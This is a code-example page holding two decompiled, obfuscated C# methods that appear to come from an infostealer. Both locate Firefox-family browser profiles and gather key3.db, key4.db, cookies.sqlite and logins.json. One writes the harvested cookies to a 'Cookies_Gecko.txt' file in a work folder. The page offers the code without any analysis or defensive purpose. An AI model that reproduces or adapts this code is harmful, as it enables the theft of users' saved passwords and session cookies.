Ejemplo n.º 1
0
    // Token: 0x06000173 RID: 371 RVA: 0x0000D104 File Offset: 0x0000B304
    public static void smethod_2()
    {
        if (!Directory.Exists(Dirs.WorkDir + "\\Browsers"))
        {
            Directory.CreateDirectory(Dirs.WorkDir + "\\Browsers");
        }
        List <string> list = new List <string>();

        list.AddRange(Class18.smethod_0(Class18.string_0, 4, 1, new string[]
        {
            "key3.db",
            "key4.db",
            "cookies.sqlite",
            "logins.json"
        }));
        list.AddRange(Class18.smethod_0(Class18.string_2, 4, 1, new string[]
        {
            "key3.db",
            "key4.db",
            "cookies.sqlite",
            "logins.json"
        }));
        foreach (string text in list)
        {
            string fullName = new FileInfo(text).Directory.FullName;
            string string_  = text.Contains(Class18.string_2) ? Class18.smethod_12(fullName) : Class18.smethod_13(fullName);
            string string_2 = Class18.smethod_3(fullName);
            Class18.smethod_1(fullName, string_, string_2);
        }
    }
Ejemplo n.º 2
0
    // Token: 0x06000172 RID: 370 RVA: 0x0000CF58 File Offset: 0x0000B158
    public static void Cookies()
    {
        if (!Directory.Exists(Dirs.WorkDir + "\\Browsers"))
        {
            Directory.CreateDirectory(Dirs.WorkDir + "\\Browsers");
        }
        List <string> list = new List <string>();

        list.AddRange(Class18.smethod_0(Class18.string_0, 4, 1, new string[]
        {
            "key3.db",
            "key4.db",
            "cookies.sqlite",
            "logins.json"
        }));
        list.AddRange(Class18.smethod_0(Class18.string_2, 4, 1, new string[]
        {
            "key3.db",
            "key4.db",
            "cookies.sqlite",
            "logins.json"
        }));
        foreach (string text in list)
        {
            string fullName = new FileInfo(text).Directory.FullName;
            string string_  = text.Contains(Class18.string_2) ? Class18.smethod_12(fullName) : Class18.smethod_13(fullName);
            string string_2 = Class18.smethod_3(fullName);
            Class18.smethod_6(fullName, string_, string_2);
            string text2 = "";
            foreach (string str in Class18.list_1)
            {
                text2 += str;
            }
            if (text2 != "")
            {
                File.WriteAllText(Dirs.WorkDir + "\\Browsers\\Cookies_Gecko.txt", text2, Encoding.Default);
            }
        }
    }